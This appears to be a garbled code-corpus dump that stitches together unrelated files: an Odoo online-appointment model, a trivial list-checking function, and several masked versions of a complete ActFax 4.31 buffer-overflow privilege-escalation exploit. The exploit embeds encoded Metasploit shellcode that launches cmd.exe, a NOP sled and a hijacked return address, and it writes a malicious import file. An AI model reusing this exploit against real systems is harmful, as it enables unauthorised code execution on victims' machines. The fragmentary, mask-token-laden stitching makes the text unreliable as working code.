CalendarAppointmentType(models.Model):\n _name = \"calendar.appointment.type\"\n _description = \"Online Appointment Type\"\n _inherit = ['mail.thread', \"website.seo.metadata\", 'website.published.mixin']\n _order = \"sequence\"\n\n sequence = fields.Integer('Sequence')\n name = fields.Char('Appointment Type', required=True, translate=True)\n min_schedule_hours = fields.Float('Schedule before (hours)', required=True, default=1.0)\n max_schedule_days = fields.Integer('Schedule not after (days)', required=True, default=15)\n min_cancellation_hours = fields.Float('Cancel Before (hours)', required=True, default=1.0)\n appointment_duration = fields.Float('Appointment Duration', required=True, default=1.0)\n\n reminder_ids = fields.Many2many('calendar.alarm', string=\"Reminders\")\n location = fields.Char('Location', help=\"Location of the appointments\")\n message_confirmation = fields.Html('Confirmation Message', translate=True)\n message_intro = fields.Html('Introduction Message', translate=True)\n\n country_ids = fields.Many2many(\n 'res.country', 'website_calendar_type_country_rel', string='Restrict Countries',\n help=\"Keep empty to allow visitors from any country, otherwise you only allow visitors from selected countries\")\n question_ids = fields.One2many('calendar.appointment.question', 'appointment_type_id', string='Questions', copy=True)\n\n slot_ids = fields.One2many('calendar.appointment.slot', 'appointment_type_id', 'Availabilities', copy=True)\n appointment_tz = fields.Selection(\n _tz_get, string='Timezone', required=True, default=lambda self: self.env.user.tz,\n help=\"Timezone where appointment take place\")\n employee_ids = fields.Many2many('hr.employee', 'website_calendar_type_employee_rel', domain=[('user_id', '!=', False)], string='Employees')\n assignation_method = fields.Selection([\n ('random', 'Random'),\n ('chosen', 'Chosen by the Customer')], string='Assignment Method', default='random',\n help=\"How employees will be assigned to meetings customers book on your website.\")\n appointment_count = fields.Integer('# Appointments', compute='_compute_appointment_count')\n\n def _compute_appointment_count(self):\n meeting_data = self.env['calendar.event'].read_group([('appointment_type_id', 'in', self.ids)], ['appointment_type_id'], ['appointment_type_id'])\n mapped_data = {m['appointment_type_id'][0]: m['appointment_type_id_count'] for m in meeting_data}\n for appointment_type in self:\n appointment_type.appointment_count = mapped_data.get(appointment_type.id, 0)\n\n def _compute_website_url(self):\n super(CalendarAppointmentType, self)._compute_website_url()\n for appointment_type in self:\n if appointment_type.id :\n appointment_type.website_url = '/calendar/%s/appointment' % (slug(appointment_type),)\n\n @api.returns('self', lambda value: value.id)\n def copy(self, default=None):\n default = default or {}\n default['name'] = self.name + _(' (copy)')\n return super(CalendarAppointmentType, self).copy(default=default)\n\n def action_calendar_meetings(self):\n self.ensure_one()\n action = self.env[\"ir.actions.actions\"]._for_xml_id(\"calendar.action_calendar_event\")\n action['context'] = {\n 'default_appointment_type_id': self.id,\n 'search_default_appointment_type_id': self.id\n }\n return action\n\n # --------------------------------------\n # Slots Generation\n # --------------------------------------\n\n def _slots_generate(self, first_day, last_day, timezone):\n \"\"\" Generate all appointment slots (in naive UTC, appointment timezone, and given (visitors) timezone)\n between first_day and last_day (datetimes in appointment timezone)\n\n :return: [ {'slot': slot_record, <timezone>: (date_start, date_end), ...},\n ... ]\n \"\"\"\n def append_slot(day, slot):\n local_start = appt_tz.localize(datetime.combine(day, time(hour=int(slot.hour), minute=int(round((slot.hour % 1) * 60)))))\n local_end = appt_tz.localize(\n datetime.combine(day, time(hour=int(slot.hour), minute=int(round((slot.hour % 1) * 60)))) + relativedelta(hours=self.appointment_duration))\n slots.append({\n self.appointment_tz: (\n local_start,\n local_end,\n ),\n timezone: (\n local_start.astimezone(requested_tz),\n local_end.astimezone(requested_tz),\n ),\n 'UTC': (\n local_start.astimezone(pytz.UTC).replace(tzinfo=None),\n local_end.astimezone(pytz.UTC).replace(tzinfo=None),\n ),\n 'slot': slot,\n })\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n\n slots = []\n for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == first_day.isoweekday()):\n if slot.hour > first_day.hour + first_day.minute / 60.0:\n append_slot(first_day.date(), slot)\n slot_weekday = [int(weekday) - 1 for weekday in self.slot_ids.mapped('weekday')]\n for day in rrule.rrule(rrule.DAILY,\n dtstart=first_day.date() + timedelta(days=1),\n until=last_day.date(),\n byweekday=slot_weekday):\n for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == day.isoweekday()):\n append_slot(day, slot)\n return slots\n\n def _slots_available(self, slots, first_day, last_day, employee=None):\n \"\"\" Fills the slot stucture with an available employee\n\n :param slots: slots structure generated by _slots_generate\n :param first_day: start datetime in UTC\n :param last_day: end datetime in UTC\n :param employee: if set, only consider this employee\n if not set, consider all employees assigned to this appointment type\n \"\"\"\n\n def is_work_available(start_dt, end_dt, intervals):\n \"\"\" check if the slot is contained in the employee's work hours (defined by intervals)\n \"\"\"\n def find_start_index():\n \"\"\" find the highest index of intervals for which the start_date (element [0]) is before (or at) start_dt\n \"\"\"\n def recursive_find_index(lower_bound, upper_bound):\n if upper_bound - lower_bound <= 1:\n if intervals[upper_bound][0] <= start_dt:\n return upper_bound\n return lower_bound\n index = (upper_bound + lower_bound) // 2\n if intervals[index][0] <= start_dt:\n return recursive_find_index(index, upper_bound)\n else:\n return recursive_find_index(lower_bound, index)\n\n if start_dt <= intervals[0][0] - tolerance:\n return -1\n if end_dt >= intervals[-1][1] + tolerance:\n return -1\n return recursive_find_index(0, len(intervals) - 1)\n\n if not intervals:\n return False\n\n tolerance = timedelta(minutes=1)\n start_index = find_start_index()\n if start_index != -1:\n for index in range(start_index, len(intervals)):\n if intervals[index][1] >= end_dt - tolerance:\n return True\n if len(intervals) == index + 1 or intervals[index + 1][0] - intervals[index][1] > tolerance:\n return False\n return False\n\n def is_calendar_available(slot, events, employee):\n \"\"\" Returns True if the given slot doesn't collide with given events for the employee\n \"\"\"\n start_dt = slot['UTC'][0]\n end_dt = slot['UTC'][1]\n\n event_in_scope = lambda ev: (\n fields.Date.to_date(ev.start) <= fields.Date.to_date(end_dt)\n and fields.Date.to_date(ev.stop) >= fields.Date.to_date(start_dt)\n )\n\n for ev in events.filtered(event_in_scope):\n if ev.allday:\n # allday events are considered to take the whole day in the related employee's timezone\n event_tz = pytz.timezone(ev.event_tz or employee.user_id.tz or self.env.user.tz or slot['slot'].appointment_type_id.appointment_tz or 'UTC')\n ev_start_dt = datetime.combine(fields.Date.from_string(ev.start_date), time.min)\n ev_stop_dt = datetime.combine(fields.Date.from_string(ev.stop_date), time.max)\n ev_start_dt = event_tz.localize(ev_start_dt).astimezone(pytz.UTC).replace(tzinfo=None)\n ev_stop_dt = event_tz.localize(ev_stop_dt).astimezone(pytz.UTC).replace(tzinfo=None)\n if ev_start_dt < end_dt and ev_stop_dt > start_dt:\n return False\n elif fields.Datetime.to_datetime(ev.start) < end_dt and fields.Datetime.to_datetime(ev.stop) > start_dt:\n return False\n return True\n\n workhours = {}\n meetings = {}\n\n # With context will be used in resource.calendar to force the referential user\n # for work interval computing to the *user linked to the employee*\n available_employees = [emp.with_context(tz=emp.user_id.tz) for emp in (employee or self.employee_ids)]\n random.shuffle(available_employees)\n for slot in slots:\n for emp_pos, emp in enumerate(available_employees):\n if emp_pos not in workhours:\n workhours[emp_pos] = [\n (interval[0].astimezone(pytz.UTC).replace(tzinfo=None),\n interval[1].astimezone(pytz.UTC).replace(tzinfo=None))\n for interval in emp.resource_calendar_id._work_intervals_batch(\n first_day, last_day, resources=emp.resource_id,\n )[emp.resource_id.id]\n ]\n\n if is_work_available(slot['UTC'][0], slot['UTC'][1], workhours[emp_pos]):\n if emp_pos not in meetings:\n # note: no check is made on the attendee's status (accepted/declined/...)\n meetings[emp_pos] = self.env['calendar.event'].search([\n ('partner_ids.user_ids', '=', emp.user_id.id),\n ('start', '<', fields.Datetime.to_string(last_day.replace(hour=23, minute=59, second=59))),\n ('stop', '>', fields.Datetime.to_string(first_day.replace(hour=0, minute=0, second=0)))\n ])\n\n if is_calendar_available(slot, meetings[emp_pos], emp):\n slot['employee_id'] = emp\n break\n\n def _get_appointment_slots(self, timezone, employee=None):\n \"\"\" Fetch available slots to book an appointment\n :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1'\n :param employee: if set will only check available slots for this employee\n :returns: list of dicts (1 per month) containing available slots per day per week.\n complex structure used to simplify rendering of template\n \"\"\"\n self.ensure_one()\n appt_tz = pytz.timezone(self.appointment_tz)\n requested_tz = pytz.timezone(timezone)\n first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(hours=self.min_schedule_hours))\n last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta(days=self.max_schedule_days))\n\n # Compute available slots (ordered)\n slots = self._slots_generate(first_day.astimezone(appt_tz), last_day.astimezone(appt_tz), timezone)\n if not employee or employee in self.employee_ids:\n self._slots_available(slots, first_day.astimezone(pytz.UTC), last_day.astimezone(pytz.UTC), employee)\n\n # Compute calendar rendering and inject available slots\n today = requested_tz.fromutc(datetime.utcnow())\n start = today\n month_dates_calendar = cal.Calendar(0).monthdatescalendar\n months = []\n while (start.year, start.month) <= (last_day.year, last_day.month):\n dates = month_dates_calendar(start.year, start.month)\n for week_index, week in enumerate(dates):\n for day_index, day in enumerate(week):\n mute_cls = weekend_cls = today_cls = None\n today_slots = []\n if day.weekday() in (cal.SUNDAY, cal.SATURDAY):\n weekend_cls = 'o_weekend'\n if day == today.date() and day.month == today.month:\n today_cls = 'o_today'\n if day.month != start.month:\n mute_cls = 'text-muted o_mute_day'\n else:\n # slots are ordered, so check all unprocessed slots from until > day\n while slots and (slots[0][timezone][0].date() <= day):\n if (slots[0][timezone][0].date() == day) and ('employee_id' in slots[0]):\n today_slots.append({\n 'employee_id': slots[0]['employee_id'].id,\n 'datetime': slots[0][timezone][0].strftime('%Y-%m-%d %H:%M:%S'),\n 'hours': slots[0][timezone][0].strftime('%H:%M')\n })\n slots.pop(0)\n dates[week_index][day_index] = {\n 'day': day,\n 'slots': today_slots,\n 'mute_cls': mute_cls,\n 'weekend_cls': weekend_cls,\n 'today_cls': today_cls\n }\n\n months.append({\n 'month': format_datetime(start, 'MMMM Y', locale=get_lang(self.env).code),\n 'weeks': dates\n })\n start = start + relativedelta(months=1)\n return months\n\n\nclass CalendarAppointmentSlot(models.Model):\n _name = \"calendar.appointment.slot\"\n _description = \"Online Appointment : Time Slot\"\n _rec_name = \"weekday\"\n _order = \"weekday, hour\"\n\n appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade')\n weekday = fields.Selection([\n ('1', 'Monday'),\n ('2', 'Tuesday'),\n ('3', 'Wednesday'),\n ('4', 'Thursday'),\n ('5', 'Friday'),\n ('6', 'Saturday'),\n ('7', 'Sunday'),\n ], string='Week Day', required=True)\n hour = fields.Float('Starting Hour', required=True, default=8.0)\n\n @api.constrains('hour')\n def check_hour(self):\n if any(slot.hour < 0.00 or slot.hour >= 24.00 for slot in self):\n raise ValidationError(_(\"Please enter a valid hour between 0:00 and 24:00 for your slots.\"))\n\n def name_get(self):\n weekdays = dict(self._fields['weekday'].selection)\n return self.mapped(lambda slot: (slot.id, \"%s, %02d:%02d\" % (weekdays.get(slot.weekday), int(slot.hour), int(round((slot.hour % 1) * 60)))))\n\n\nclass CalendarAppointmentQuestion(models.Model):\n _name = \"calendar.appointment.question\"\n _description = \"Online Appointment : Questions\"\n _order = \"sequence\"\n\n sequence = fields.Integer('Sequence')\n appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete=\"cascade\")\n name = fields.Char('Question', translate=True, required=True)\n placeholder = fields.Char('Placeholder', translate=True)\n question_required = fields.Boolean('Required Answer')\n question_type = fields.Selection([\n ('char', 'Single line text'),\n ('text', 'Multi-line text'),\n ('select', 'Dropdown (one answer)'),\n ('radio', 'Radio (one answer)'),\n ('checkbox', 'Checkboxes (multiple answers)')], 'Question Type', default='char')\n answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers')\n\n\nclass CalendarAppointmentAnswer(models.Model):\n _name = \"calendar.appointment.answer\"\n _description = \"Online Appointment : Answers\"\n\n question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions')\n name = fields.Char('Answer', translate=True, required=True)\n", "step-ids": [ 7, 10, 12, 18, 19 ] }

[ 7, 10, 12, 18, 19 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> f.write( 'User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\tPredefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\tCoverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\tPrinter Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\tEmail Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\tExport Incoming\tExport-Path\tMark as Read\r\n' + buff + '\r\n') f.close() <|reserved_special_token_1|> sc = ( '\x89åÛÎÙuôXPYIIIICCCCCCQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLZHMYEP5PS0CPMYJEVQHRU4LK62P0LK62DLLK0RR4LK42VH4O87QZ7VFQKOFQ9PNLGL51CLC26L10IQHO4MUQXGJBL00RPWLKPRR0LK72GLUQXPLKG03HK59P44PJ31N00PLKW8R8LK68Q031N3KSWLW9LKVTLKS1HV6QKOFQO0NLIQXOTMUQ9WP8KP2UZTS3CMKHGK3MFDSEZB68LK0XGTEQICE6LKDL0KLK68ULS1YCLKTDLKUQHPLI1TGT6DQK1KU1691J61KOM0QHQOPZLKUBZKMV1MRJEQLMMUOIEPS0S0F0BH6QLKROMWKO9EOKJPNU921FU8Y6MEOMMMKOXUWL5VSLDJMPKKM0RUUUOK775CRR2OCZC0V3KON52C2ME4FN55CHE530AA' ) frontpad = '\x90' * 10 eip = '"\x1b@\x00' backpad = '\x90' * 6000 buff = frontpad + sc + '\x90' * (502 - len(sc)) + eip + backpad f = open('pwnag3.exp', 'w') f.write( 'User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\tPredefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\tCoverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\tPrinter Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\tEmail Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\tExport Incoming\tExport-Path\tMark as Read\r\n' + buff + '\r\n') f.close() <|reserved_special_token_1|> #!/usr/bin/python #Title: ActFax 4.31 Local Privilege Escalation Exploit #Author: Craig Freyman (@cd1zz) #Discovered: July 10, 2012 #Vendor Notified: June 12, 2012 #Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html #msfpayload windows/exec CMD=cmd.exe R | msfencode -e x86/alpha_upper -f c #[*] x86/alpha_upper succeeded with size 466 (iteration=1) sc = ( "\x89\xe5\xdb\xce\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a" "\x48\x4d\x59\x45\x50\x35\x50\x53\x30\x43\x50\x4d\x59\x4a" "\x45\x56\x51\x48\x52\x55\x34\x4c\x4b\x36\x32\x50\x30\x4c" "\x4b\x36\x32\x44\x4c\x4c\x4b\x30\x52\x52\x34\x4c\x4b\x34" "\x32\x56\x48\x34\x4f\x38\x37\x51\x5a\x37\x56\x46\x51\x4b" "\x4f\x46\x51\x39\x50\x4e\x4c\x47\x4c\x35\x31\x43\x4c\x43" "\x32\x36\x4c\x31\x30\x49\x51\x48\x4f\x34\x4d\x55\x51\x58" "\x47\x4a\x42\x4c\x30\x30\x52\x50\x57\x4c\x4b\x50\x52\x52" "\x30\x4c\x4b\x37\x32\x47\x4c\x55\x51\x58\x50\x4c\x4b\x47" "\x30\x33\x48\x4b\x35\x39\x50\x34\x34\x50\x4a\x33\x31\x4e" "\x30\x30\x50\x4c\x4b\x57\x38\x52\x38\x4c\x4b\x36\x38\x51" "\x30\x33\x31\x4e\x33\x4b\x53\x57\x4c\x57\x39\x4c\x4b\x56" "\x54\x4c\x4b\x53\x31\x48\x56\x36\x51\x4b\x4f\x46\x51\x4f" "\x30\x4e\x4c\x49\x51\x58\x4f\x54\x4d\x55\x51\x39\x57\x50" "\x38\x4b\x50\x32\x55\x5a\x54\x53\x33\x43\x4d\x4b\x48\x47" "\x4b\x33\x4d\x46\x44\x53\x45\x5a\x42\x36\x38\x4c\x4b\x30" "\x58\x47\x54\x45\x51\x49\x43\x45\x36\x4c\x4b\x44\x4c\x30" "\x4b\x4c\x4b\x36\x38\x55\x4c\x53\x31\x59\x43\x4c\x4b\x54" "\x44\x4c\x4b\x55\x51\x48\x50\x4c\x49\x31\x54\x47\x54\x36" "\x44\x51\x4b\x31\x4b\x55\x31\x36\x39\x31\x4a\x36\x31\x4b" "\x4f\x4d\x30\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x55\x42\x5a" "\x4b\x4d\x56\x31\x4d\x52\x4a\x45\x51\x4c\x4d\x4d\x55\x4f" "\x49\x45\x50\x53\x30\x53\x30\x46\x30\x42\x48\x36\x51\x4c" "\x4b\x52\x4f\x4d\x57\x4b\x4f\x39\x45\x4f\x4b\x4a\x50\x4e" "\x55\x39\x32\x31\x46\x55\x38\x59\x36\x4d\x45\x4f\x4d\x4d" "\x4d\x4b\x4f\x58\x55\x57\x4c\x35\x56\x53\x4c\x44\x4a\x4d" "\x50\x4b\x4b\x4d\x30\x52\x55\x55\x55\x4f\x4b\x37\x37\x35" "\x43\x52\x52\x32\x4f\x43\x5a\x43\x30\x56\x33\x4b\x4f\x4e" "\x35\x32\x43\x32\x4d\x45\x34\x46\x4e\x35\x35\x43\x48\x45" "\x35\x33\x30\x41\x41") frontpad = "\x90" * 10 eip = "\x22\x1b\x40\x00" #00401B22 RETN actfax.exe backpad = "\x90" * 6000 buff = frontpad + sc + "\x90" * (502 - len(sc)) + eip + backpad f = open("pwnag3.exp", "w") f.write( "User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\t" "Predefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\t" "Coverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\t" "Printer Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\t" "Email Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\t" "Export Incoming\tExport-Path\tMark as Read\x0d\x0a"+buff+"\x0d\x0a") f.close()

flexible

{ "blob_id": "1b7048ef17b3512b9944ce7e197db27f4fd1aed0", "index": 1687, "step-1": "<mask token>\n", "step-2": "<mask token>\nf.write(\n 'User Name\\tEntire User Name\\tPassword\\tAlias-Names\\tGroup\\tDirect Dialing\\tCost Account\\tPermissions\\tComments\\tUser-Defined\\tPredefined Settings\\tName 1\\tName 2\\tName 3\\tName 4\\tName 5\\tDepartment\\tAttention of\\tPhone 1\\tPhone 2\\tFax Number\\tE-Mail\\tCoverpage Non-Windows\\tOverlay Non-Windows\\tCoverpage Windows\\tOverlay Windows\\tUser-Defined\\tPrinter Settings\\tAutomatic Printing Outgoing\\tPrinter Name Outgoing\\tReport Outgoing\\tAutomatic Printing Incoming\\tPrinter Name Incoming\\tReport Incoming\\tNotification Outgoing\\tEmail Outgoing\\tNotification Incoming\\tEmail Incoming\\tAttach Original Message\\tUser-Defined Archive Settings\\tExport Outgoing\\tExport Incoming\\tExport-Path\\tMark as Read\\r\\n'\n + buff + '\\r\\n')\nf.close()\n", "step-3": "sc = (\n '\\x89åÛÎÙuôXPYIIIICCCCCCQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLZHMYEP5PS0CPMYJEVQHRU4LK62P0LK62DLLK0RR4LK42VH4O87QZ7VFQKOFQ9PNLGL51CLC26L10IQHO4MUQXGJBL00RPWLKPRR0LK72GLUQXPLKG03HK59P44PJ31N00PLKW8R8LK68Q031N3KSWLW9LKVTLKS1HV6QKOFQO0NLIQXOTMUQ9WP8KP2UZTS3CMKHGK3MFDSEZB68LK0XGTEQICE6LKDL0KLK68ULS1YCLKTDLKUQHPLI1TGT6DQK1KU1691J61KOM0QHQOPZLKUBZKMV1MRJEQLMMUOIEPS0S0F0BH6QLKROMWKO9EOKJPNU921FU8Y6MEOMMMKOXUWL5VSLDJMPKKM0RUUUOK775CRR2OCZC0V3KON52C2ME4FN55CHE530AA'\n )\nfrontpad = '\\x90' * 10\neip = '\"\\x1b@\\x00'\nbackpad = '\\x90' * 6000\nbuff = frontpad + sc + '\\x90' * (502 - len(sc)) + eip + backpad\nf = open('pwnag3.exp', 'w')\nf.write(\n 'User Name\\tEntire User Name\\tPassword\\tAlias-Names\\tGroup\\tDirect Dialing\\tCost Account\\tPermissions\\tComments\\tUser-Defined\\tPredefined Settings\\tName 1\\tName 2\\tName 3\\tName 4\\tName 5\\tDepartment\\tAttention of\\tPhone 1\\tPhone 2\\tFax Number\\tE-Mail\\tCoverpage Non-Windows\\tOverlay Non-Windows\\tCoverpage Windows\\tOverlay Windows\\tUser-Defined\\tPrinter Settings\\tAutomatic Printing Outgoing\\tPrinter Name Outgoing\\tReport Outgoing\\tAutomatic Printing Incoming\\tPrinter Name Incoming\\tReport Incoming\\tNotification Outgoing\\tEmail Outgoing\\tNotification Incoming\\tEmail Incoming\\tAttach Original Message\\tUser-Defined Archive Settings\\tExport Outgoing\\tExport Incoming\\tExport-Path\\tMark as Read\\r\\n'\n + buff + '\\r\\n')\nf.close()\n", "step-4": "#!/usr/bin/python\r\n#Title: ActFax 4.31 Local Privilege Escalation Exploit\r\n#Author: Craig Freyman (@cd1zz)\r\n#Discovered: July 10, 2012\r\n#Vendor Notified: June 12, 2012\r\n#Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html\r\n\r\n#msfpayload windows/exec CMD=cmd.exe R | msfencode -e x86/alpha_upper -f c\r\n#[*] x86/alpha_upper succeeded with size 466 (iteration=1)\r\nsc = (\r\n\"\\x89\\xe5\\xdb\\xce\\xd9\\x75\\xf4\\x58\\x50\\x59\\x49\\x49\\x49\\x49\"\r\n\"\\x43\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\"\r\n\"\\x58\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\"\r\n\"\\x42\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\"\r\n\"\\x30\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x5a\"\r\n\"\\x48\\x4d\\x59\\x45\\x50\\x35\\x50\\x53\\x30\\x43\\x50\\x4d\\x59\\x4a\"\r\n\"\\x45\\x56\\x51\\x48\\x52\\x55\\x34\\x4c\\x4b\\x36\\x32\\x50\\x30\\x4c\"\r\n\"\\x4b\\x36\\x32\\x44\\x4c\\x4c\\x4b\\x30\\x52\\x52\\x34\\x4c\\x4b\\x34\"\r\n\"\\x32\\x56\\x48\\x34\\x4f\\x38\\x37\\x51\\x5a\\x37\\x56\\x46\\x51\\x4b\"\r\n\"\\x4f\\x46\\x51\\x39\\x50\\x4e\\x4c\\x47\\x4c\\x35\\x31\\x43\\x4c\\x43\"\r\n\"\\x32\\x36\\x4c\\x31\\x30\\x49\\x51\\x48\\x4f\\x34\\x4d\\x55\\x51\\x58\"\r\n\"\\x47\\x4a\\x42\\x4c\\x30\\x30\\x52\\x50\\x57\\x4c\\x4b\\x50\\x52\\x52\"\r\n\"\\x30\\x4c\\x4b\\x37\\x32\\x47\\x4c\\x55\\x51\\x58\\x50\\x4c\\x4b\\x47\"\r\n\"\\x30\\x33\\x48\\x4b\\x35\\x39\\x50\\x34\\x34\\x50\\x4a\\x33\\x31\\x4e\"\r\n\"\\x30\\x30\\x50\\x4c\\x4b\\x57\\x38\\x52\\x38\\x4c\\x4b\\x36\\x38\\x51\"\r\n\"\\x30\\x33\\x31\\x4e\\x33\\x4b\\x53\\x57\\x4c\\x57\\x39\\x4c\\x4b\\x56\"\r\n\"\\x54\\x4c\\x4b\\x53\\x31\\x48\\x56\\x36\\x51\\x4b\\x4f\\x46\\x51\\x4f\"\r\n\"\\x30\\x4e\\x4c\\x49\\x51\\x58\\x4f\\x54\\x4d\\x55\\x51\\x39\\x57\\x50\"\r\n\"\\x38\\x4b\\x50\\x32\\x55\\x5a\\x54\\x53\\x33\\x43\\x4d\\x4b\\x48\\x47\"\r\n\"\\x4b\\x33\\x4d\\x46\\x44\\x53\\x45\\x5a\\x42\\x36\\x38\\x4c\\x4b\\x30\"\r\n\"\\x58\\x47\\x54\\x45\\x51\\x49\\x43\\x45\\x36\\x4c\\x4b\\x44\\x4c\\x30\"\r\n\"\\x4b\\x4c\\x4b\\x36\\x38\\x55\\x4c\\x53\\x31\\x59\\x43\\x4c\\x4b\\x54\"\r\n\"\\x44\\x4c\\x4b\\x55\\x51\\x48\\x50\\x4c\\x49\\x31\\x54\\x47\\x54\\x36\"\r\n\"\\x44\\x51\\x4b\\x31\\x4b\\x55\\x31\\x36\\x39\\x31\\x4a\\x36\\x31\\x4b\"\r\n\"\\x4f\\x4d\\x30\\x51\\x48\\x51\\x4f\\x50\\x5a\\x4c\\x4b\\x55\\x42\\x5a\"\r\n\"\\x4b\\x4d\\x56\\x31\\x4d\\x52\\x4a\\x45\\x51\\x4c\\x4d\\x4d\\x55\\x4f\"\r\n\"\\x49\\x45\\x50\\x53\\x30\\x53\\x30\\x46\\x30\\x42\\x48\\x36\\x51\\x4c\"\r\n\"\\x4b\\x52\\x4f\\x4d\\x57\\x4b\\x4f\\x39\\x45\\x4f\\x4b\\x4a\\x50\\x4e\"\r\n\"\\x55\\x39\\x32\\x31\\x46\\x55\\x38\\x59\\x36\\x4d\\x45\\x4f\\x4d\\x4d\"\r\n\"\\x4d\\x4b\\x4f\\x58\\x55\\x57\\x4c\\x35\\x56\\x53\\x4c\\x44\\x4a\\x4d\"\r\n\"\\x50\\x4b\\x4b\\x4d\\x30\\x52\\x55\\x55\\x55\\x4f\\x4b\\x37\\x37\\x35\"\r\n\"\\x43\\x52\\x52\\x32\\x4f\\x43\\x5a\\x43\\x30\\x56\\x33\\x4b\\x4f\\x4e\"\r\n\"\\x35\\x32\\x43\\x32\\x4d\\x45\\x34\\x46\\x4e\\x35\\x35\\x43\\x48\\x45\"\r\n\"\\x35\\x33\\x30\\x41\\x41\")\r\n\r\nfrontpad = \"\\x90\" * 10 \r\neip = \"\\x22\\x1b\\x40\\x00\"\t#00401B22 RETN actfax.exe\r\nbackpad = \"\\x90\" * 6000\r\nbuff = frontpad + sc + \"\\x90\" * (502 - len(sc)) + eip + backpad\r\n\r\nf = open(\"pwnag3.exp\", \"w\")\r\nf.write(\r\n\"User Name\\tEntire User Name\\tPassword\\tAlias-Names\\tGroup\\tDirect Dialing\\tCost Account\\tPermissions\\tComments\\tUser-Defined\\t\"\r\n\"Predefined Settings\\tName 1\\tName 2\\tName 3\\tName 4\\tName 5\\tDepartment\\tAttention of\\tPhone 1\\tPhone 2\\tFax Number\\tE-Mail\\t\"\r\n\"Coverpage Non-Windows\\tOverlay Non-Windows\\tCoverpage Windows\\tOverlay Windows\\tUser-Defined\\tPrinter Settings\\tAutomatic Printing Outgoing\\t\"\r\n\"Printer Name Outgoing\\tReport Outgoing\\tAutomatic Printing Incoming\\tPrinter Name Incoming\\tReport Incoming\\tNotification Outgoing\\t\"\r\n\"Email Outgoing\\tNotification Incoming\\tEmail Incoming\\tAttach Original Message\\tUser-Defined Archive Settings\\tExport Outgoing\\t\"\r\n\"Export Incoming\\tExport-Path\\tMark as Read\\x0d\\x0a\"+buff+\"\\x0d\\x0a\")\r\nf.close()\r\n\r\n\r\n\r\n\r\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> def play_43(): n = int(input('Enter n :')) l = [] for i in range(n): l.append(int(input())) for i in range(n - 1): for j in range(i + 1, n): if l[i] < l[j]: continue return 'no' return 'Yes' <|reserved_special_token_0|> <|reserved_special_token_1|> def play_43(): n = int(input('Enter n :')) l = [] for i in range(n): l.append(int(input())) for i in range(n - 1): for j in range(i + 1, n): if l[i] < l[j]: continue return 'no' return 'Yes' play_43() <|reserved_special_token_1|> def play_43(): n=int(input('Enter n :')) l=[] for i in range(n): l.append(int(input())) for i in range(n-1): for j in range(i+1,n): if l[i]<l[j]: continue return "no" return "Yes" play_43()

flexible

